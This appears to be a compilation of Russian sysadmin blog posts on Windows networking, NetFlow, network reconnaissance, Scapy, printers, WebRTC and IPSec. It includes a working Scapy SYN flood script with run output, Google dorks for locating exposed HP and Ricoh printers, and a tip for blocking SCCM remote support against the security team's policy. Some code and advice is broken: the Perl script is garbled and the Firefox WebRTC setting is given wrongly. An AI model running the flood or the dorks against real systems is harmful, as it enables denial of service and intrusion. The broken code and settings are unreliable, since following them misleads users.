Работа с сетью в командной строке Windows, #6.

Всем привет.

Сегодня финишируем работу с сетью в командной строке Windows на примерах практического использования.

Что делать, если причиной недоступности сайта является неправильное разрешение доменного имени?

Определение IP-адреса по доменному имени (разрешение DNS-имени) выполняется в следующем порядке:

- просматривается содержимое кэш службы разрешения имен. Если адрес уже разрешался раньше и в кэш данной службы присутствует соответствующая запись - будет использован IP-адрес из кэш . Данные в кэш хранятся определенное время и удаляются по мере старения или при перезапуске службы.

- просматривается содержимое файла hosts, и если в нем имеется запись для данного имени, - используется заданный в ней IP-адрес. Этот файл обычно хранится в папке \windows\system32\drivers\etc\

- выполняется запрос на разрешение доменного имени к серверу DNS, задаваемому в настройках сетевого подключения. Соединение выполняется по протоколу UDP на порт 53 сервера. Используется IP-адрес из ответа DNS - сервера.

В первую очередь нужно определить, какому IP-адресу соответствует доменное имя сайта, который не открывается на данном компьютере. Самый простой способ - выполнить команду, например, для узла mail.ru:

ping mail.ru

Результат выполнения ping:

Обмен пакетами с mail.ru [94.100.191.242] по 32 байт:

Ответ от 94.100.191.242: число байт=32 время=38мс TTL=54

Ответ от 94.100.191.242: число байт=32 время=29мс TTL=54

Ответ от 94.100.191.242: число байт=32 время=30мс TTL=54

Ответ от 94.100.191.242: число байт=32 время=29мс TTL=54

Статистика Ping для 94.100.191.242: 

Пакетов: отправлено = 4, получено = 4, потеряно = 0 (0% потерь), 

Приблизительное время передачи и приема: 

наименьшее = 29мс, наибольшее = 38мс, среднее = 31мс

На заметку. Некоторые узлы настроены таким образом, что блокируют протокол ICMP и не отвечают на эхо-запрос. В результатах выполнения команды будет сообщение об ошибке ("превышен интервал ожидания ответа" . . . ) Кроме того, довольно часто подобные настройки используются брандмауэрами на клиентских компьютерах, в сетях небольших провайдеров и т.п. Отсутствие ответа в результатах выполненияping совсем не означает недоступность сайта. 

Блокируем SCCM Remote Control.

Всем привет.

Применение SCCM Remote Control в работе службы технической поддержки имеет свои плюсы. Главным преимуществом перед тем же RDP-соединеием является возможность подосединиться удаленно в сеанс пользователя и наглядно лицезреть и решать проблему последнего.

Однако, как оказалось, в этом же и его опасность для пользователя. Ибо SCCM Remote Control не требует подтверждения на подсоединение, т.е. спецалист ТП может это сделать в самый "неудобный" момент либо же в момент когда пользователь зевнул и отошел на кофе от своего пк не заблокировав рабочий стол.

В моей ситуации я использую свой ПК для административных задач в нашем домене и считаю что такой вариант со стороны ТП к моему ПК просто недопустим даже случайно. Так как на обоснование подобных опасений к службе инфобеза заняло бы много времени и красивой переписки, то я решил обезопасить себя сам.

Первое - как мы знаем удаленный помошник SCCM Remote Control использует порты:

Console SCCM -> Client tcp 2701,3389 udp 3389

Поскольку 3389-й порт нужен для RDP его мы блокировать не будем, а нацелимся на порт 2701.

Второе - править правила штатного фаерволла Windows я тоже не стал, ибо они часто попадают под политики того же инфобеза и мои локальные запреты дожили бы максимум до следующего gpupdate.

Мощное средство Cisco NBAR.

Всем привет.

До недавних пор считалось что анализировать сеть с помощью NetFlow - это вполне современно и функционально. Действительно, анализизаторы NetFlow многими считаются полезными инструментами для мониторинга и анализа сетевого трафика. Анализаторы NetFlow позволяют вам определить те машины и устройства, которые негативно влияют на пропускную способность вашей сети, найти узкие места в вашей системе, а также, в конечном счете, повысить общую эффективность функционирования вашей сети.

Напомню как можно задействовать  сбор данных в критических точках для обнаружения угроз в исходящем сетевом трафике через Cisco NetFlow. 

Шаблон для IOS системы:

 # conf t

(config)# mls netflow interface

(config)# mls flow ip interface-full

(config)# ip flow-export source <interface x/x>

(config)# ip flow-export version <#>

(config)# ip flow-export destination <ip address | esl record> <port>

(config-int)# ip flow ingress

#

Шаблон для NX-OS:

# conf t

(config)# feature netflow

(config)# flow record <record-name>

(config)# match ip ipv4 source address

(config)# match ip ipv4 destination address

!

(config)# flow exporter <exporter-name>

(config)# destination <ip address | esl-record>

(config)# transport UDP 2055

(config)# version <#>

(config)# source <interface>

(config)# flow monitor <monitor-name>

(config)# record <record-name>

(config)# exporter <exporter-name>

(config-int)# ip flow monitor <monitor-name> input

(config)# end

#

Разведка из открытых источников, часть 3.

Всем привет.

Решив отдать должное автору статьи "Разведка из открытых источников, часть 2" Андрею Бирюкову я публикую еще одну часть из его журнальной серии "Системный администратор". 3-я часть посвящена технической стороне разведки, а именно сканированию сети.

Сканирование сети является неотъемлемой частью сетевых атак. Для успешной защиты необходимо понимать, как осуществляется обнаружение узлов в сети. Мы проведем исследование тех служб, которые при­меняются в сети. Сначала рассмотрим, как злоумышленник может идентифицировать работающие узлы. Затем перей­дем к тому, как определить, какие службы запущены на дан­ных машинах. Для идентификации активных узлов в локальной сети можно использовать различные протоколы сетевого и транспортного уровня, такие как ICMP, UDP и TCP. Но обо всем по порядку.

ICMP как простой инструмент исследования сети

Протокол ICMP служит для выявления проблем, связан­ных с сетевым уровнем. Как правило, в локальных сетях его не блокируют, так как он часто используется самими си­стемными администраторами для поиска неполадок в сети.

Прежде всего рассмотрим основные принципы работы данного протокола. Сообщения ICMP передаются в виде IP- датаграмм, то есть к ним прибавляется заголовок IP. 

Существует несколько типов сообщений ICMP, каждый имеет свой формат, при этом все они содержат следующие три поля:

-    8-битного целого числа, обозначающего тип сообще­ния (TYPE);

-    8-битного поля кода (CODE), который конкретизирует назначение сообщения;

-    16-битного поля контрольной суммы (CHECKSUM).

Все типы сообщений ICMP можно условно поделить на две группы.

-    Сообщения об ошибках (например, Destination Unreachable).

-    Запросы и ответы (например, Echo Request и Echo Reply).

Начнем с рассмотрения сообщений об ошибках. Они содержат заголовок и первые 64 бита данных пакета IP, при передаче которого возникла ошибка. Это делается для того, чтобы узел-отправитель смог более точно проана­лизировать причину ошибки, так как все протоколы при­кладного уровня стека TCP/IP содержат наиболее важную информацию для анализа именно в первых 64 битах своих сообщений. Для сообщений об ошибках задействовано поле кода. В основном для исследования сети используют­ся Echo Reply, Echo Request и Timestamp.

Наилучшим методом определения доступности узла явля­ется посылка сообщения ICMP Echo (Туре 8). Если система работает и отсутствует фильтрация графика данного типа, то в ответ придет сообщение ICMP Echo Reply (Type 0).

Идентификация (то есть обнаружение) сетевых уст­ройств с помощью протокола ICMP может быть выполнена двумя способами.

-   посылкой запроса, получением ответа;

-   вызовом ситуации ошибки, получением сообщения об ошибке.

В основу идентификации заложен следующий принцип. Узел, отправляющий ICMP-запрос, устанавливает значения полей Identifier, эти значения позволяют определить ответы, пришедшие от разных узлов. А для того, чтобы отличить не­сколько ответов, пришедших от одного узла, используется поле Sequence Number. В поле Code записывается ноль, поле данных произвольно (например, алфавит). Отвечаю­щая сторона должна заменить значение поля Туре на 0 и от­править датаграмму обратно.

Для выполнения обнаружения узла обычно используется утилита ping, входящая в состав большинства ОС. В качест­ве параметра ping указывается IP/имя, и в результате получа­ем ответ удаленной системы. Однако у нее есть существен­ный недостаток - все узлы опрашиваются последовательно, что заметно увеличивает продолжительность опроса.

Python и Scapy - сладкая парочка #2.

Всем привет.

Продолжим нашу лабораторную работу с Python и Scapy. Начало здесь.

Сканирование порта TCP.

Самым первым шагом для любых потенциального хакеров почти всегда является попытка изучить какие службы открыты в данной сетевой среде с тем, чтобы они могли сосредоточить свои усилия на определённой атаке. Конечно, нам необходимо открыть определённые порты чтобы обслуживать своих потребителей, однако нам также следует закрыть все открытые порты, которые не являются обязательными для снижения имеющегося риска. Мы можем воспользоваться Scapy для осуществления простого сканирования открытых портов.

Мы можем отправить некий пакет SYN и посмотреть ответит ли определённый сервер с помощью SYN-ACK:

>>> p = sr1(IP(dst="10.0.0.14")/TCP(sport=666,dport=23,flags="S"))

>>> p.show()

###[ IP ]###

 version= 4L

 ihl= 5L

 tos= 0x0

 len= 40

 id= 25373

 flags= DF

 frag= 0L

 ttl= 62

 proto= tcp

 chksum= 0xc59b

 src= 10.0.0.14

 dst= 10.0.0.10

 options

###[ TCP ]###

 sport= telnet

 dport= 666

 seq= 0

 ack= 1

 dataofs= 5L

 reserved= 0L

 flags= RA

 window= 0

 chksum= 0x9907

 urgptr= 0

 options= {}

Генерация SYN flood пакетов в Scapy.

Всем привет.

А наша Scapy не такая безобидная как кажется. Генерация атаки TCP SYN flood в Scapy оказывается простой задачей. Вот так мы создаем IP-пакеты с уровнем протокола TCP с увеличивающимся номером порта источника TCP и с постоянным портом назначения TCP 513.

from scapy.all import *

def synFlood(src, tgt):

for sport in range(1024,65535):

IPlayer = IP(src=src, dst=tgt)

TCPlayer = TCP(sport=sport, dport=513)

pkt = IPlayer / TCPlayer

send(pkt)

src = "10.1.1.2"

tgt = "192.168.1.3"

synFlood(src,tgt)

Запуск отправляет TCP SYN, чтобы исчерпать ресурсы хоста, заполняя очередь подключения и, по сути, приводит к неспособности цели отправлять в ответ пакеты сброса TCP. Действительно просто.

admincore# python synFlood.py

Sent 1 packets.

Sent 1 packets.

Sent 1 packets.

Sent 1 packets.

Sent 1 packets.

<..SNIPPED..>

Про Scapy будет еще.

Using Python for Network Forensics #2.

Hi all.

Today I would like to present second chapter of excerpt from book "Mastering Python Forensics", Copyright © 2015 Packt Publishing, written by authors Dr. Michael Spreitzenbarth and Dr. Johann Uhrmann. The first chapter is here.

So, now we are using Scapy during an investigation. Let's go.

Another great Python-based tool to analyze and manipulate the network trafic is Scapy. According to the developer website, http://www.secdev.org/projects/scapy/:
"Scapy is a powerful interactive packet manipulation program. It is able to forge or decode packets of a wide number of protocols, send them on the wire, capture them, match requests and replies, and much more."

Scapy differs from the standard tools (and also from Dshell) by providing an investigator with the ability to write small Python scripts that can manipulate or analyze the network trafic-either in a recorded form or in real-time. Furthermore, Scapy has the ability to perform deep packet dissection, passive OS fingerprinting, or plotting via third-party tools, such as GnuPlot, as built-in features are already available.

The following Python script, which is taken from Grow Your Own Forensic Tools: A Taxonomy of Python Libraries Helpful for Forensic Analysis, SANS Institute InfoSec Reading Room, is a very brief example of how powerful Scapy is:

import scapy, GeoIP
from scapy import *
geoIp = GeoIP.new(GeoIP.GEOIP_MEMORY_CACHE)
def locatePackage(pkg):
  src=pkg.getlayer(IP).src
  dst=pkg.getlayer(IP).dst
  srcCountry = geoIp.country_code_by_addr(src)
  dstCountry = geoIp.country_code_by_addr(dst)
  print src+"("+srcCountry+") >> "+dst+"("+dstCountry+")\n"
try:
  while True:
    sniff(filter="ip", prn=locatePackage, store=0)
except KeyboardInterrupt:
  print "\n" + "Scan Aborted!"

Знаете ли вы свой принтер?

Всем привет.

Листая журнал "Системный администратор" я обнаружил неожиданно (для себя), что Игорь Савчук во многом прав относительно таких устройств как принтеры в наших офисах. Ведь действительно, мы все тщательно сканируем свою сеть, патчим наши хосты, устанавливаем антивирусники, а рядом у нас в сети работает принтер с набором современных TCP/IP-сервисов.

Принтера умеют хранить историю печати, отправлять почту, обновляться и управляться с интернет, общаться по WiFi, Ethernet и USB. При этом у них есть внутренний накопитель, который хранит не только необходимый код для работы, но имеет еще много свободного места под рабочий кеш. И который вполне может быть доступен по сети как на запись так и на чтение.

Конечно, стандартов тут нет, у каждого бренда свои секреты, но все разгадки легко ищутся в Интернет.

Вот таким вот образом можно легко найти доступные принтеры HP:
inurl:hp/device/this.LCDispatcher

Точно таким же образом можно легко найти принтеры других фирм, например от Ricoh:
intitle:"web image monitor"
"/web/user/en/websys/webArch/mainFrame.cgi"
inurl:"/en/sts_index.cgi"

С помощью нескольких строк кода (Perl) автор предлагает проверить отзывчивость вашего печатного друга.

Первый пример это печать текста "PRINTER TEST STRING" из командной строки
perl prnmsg.pl ip-adr-принтера "PRINTER TEST STRING"

Где prnmsg.pl:
#!/usr/bin/perl -w
#File name: prnmsg.pl
use IO::Socket;
$iphost = $ARGV[0];
$textprn = $ARGV[1];
my $mysock = new IO::Socket::INET (
 PeerAddr => $iphost,
 PeerPort => '9100',
 Proto => 'tcp', );
die "NETWORK ERROR: Could not create socket!" stuff $mysock;
print $mysock $textprn;
close($mysock);

Отключаем WebRTC.

Всем привет.

WebRTC (Web Real-Time Communication) — технология с открытым исходным кодом, позволяющая передавать потоковые данные между браузерами по технологии «точка-точка» (p2p).

WebRTC встроен по умолчанию в последних версиях Firefox, Chrome/Chromium, Opera и позволяет производить соединение между двумя и более браузерами для видео/аудио-звонков и не только.

Почему не безопасно?

Дело в том, что для соединения по принципу p2p необходимо знать реальный IP-адрес и WebRTC эту информацию бесстыдно сливает. Даже если вы сидите под TOR/VPN то не составит особого труда узнать ваш локальный IP-адрес в сети и на стороне, например, VPN-сервера. А с использованием уязвимостей можно определить ваш реальный IP, за которым вы скрываетесь. Так я и не скрываюсь.)

Как отключить вручную?

В Google Chrome перейти на chrome://flags и в настройках “Anonymize local IPs exposed by WebRTC” поменять флаг на Enabled.

В Mozilla Firefox перейти на about:config и в настройках “media.peerconnection.enabled” поменять флаг на Enabled.

Сетевой сниффер на Powershell.

Всем привет.

Powershell рулит. Я понимаю что PS универсальный инструмент, но чтобы настолько...

Даже не помню каким образом, но пришел я на блог одного PS-писателя Robbie Foust (rfoust@duke.edu), который  создал, не много не мало, сетевой сниффер. Супер!

И назвал он его просто Get-packet:

receives and displays all incoming IP packets.  NIC driver must support promiscuous mode.
Usage: get-packet.ps1 [-LocalIP [<String>]] [-Protocol [<String>]] [[-Seconds] [<Int32>]] [-ResolveHosts] [-Statistics] [-Silent]

Запускаем на выполнение:

powershell -ExecutionPolicy Unrestricted -File Get-Packet.ps1 192.168.136.129 >1.txt

где 192.168.136.129 - IP-адрес сетевого интерфейса на прослушивание.

Вот ответы пинга:
Using IPv4 Address: 192.168.136.129
Press ESC to stop the packet sniffer ...

Оперативное сопровождение протокола IPSec.

Всем привет.

Сегодня также кратко, но английского не будет. Почти). Только на уровне командной строки. 

Итак, про семейство протоколов IPSec не слышал только ленивый, его поддержка есть на уровне командной строки (CLI) и ММС-оснастки начиная с Windows XP  и Windows Server 2003. Его правила реализует почти все оборудование Сisco и даже домашние модемы с функцией маршрутизатора типа Zyxеl. В общем штука гибкая но не простая.

Но сегодня я не про теорию алгоритмов защиты, я про оперативное сопровождение настроенного протокола IPSec. В сетевом оборудовании есть штатные способы бекапа и восстановления текущего профиля. Надо просто не забывать это регулярно делать. А вот в ОС типа MS Windows возможны варианты. 

Что я имею ввиду? Я по аналогии с firewall про то как мне быстро глянуть настроенный профиль политики, или как его импортировать чтобы в будущем сделать экспорт на новый сервер. Т.е. варианты извлечь/внедрить в удобочитаемом (text), или двоичном (binary) виде.

А поможет нам  в этом Netsh - мощная и полезная утилита командной строки, предназначенная для обновления и настройки параметров сети Windows.

Я лично активно использую перенаправление вывода в файл. Дело в том что в Netsh тоже есть внутренний журнал, но его на каждый сеанс надо включать. А я часто забываю это сделать.)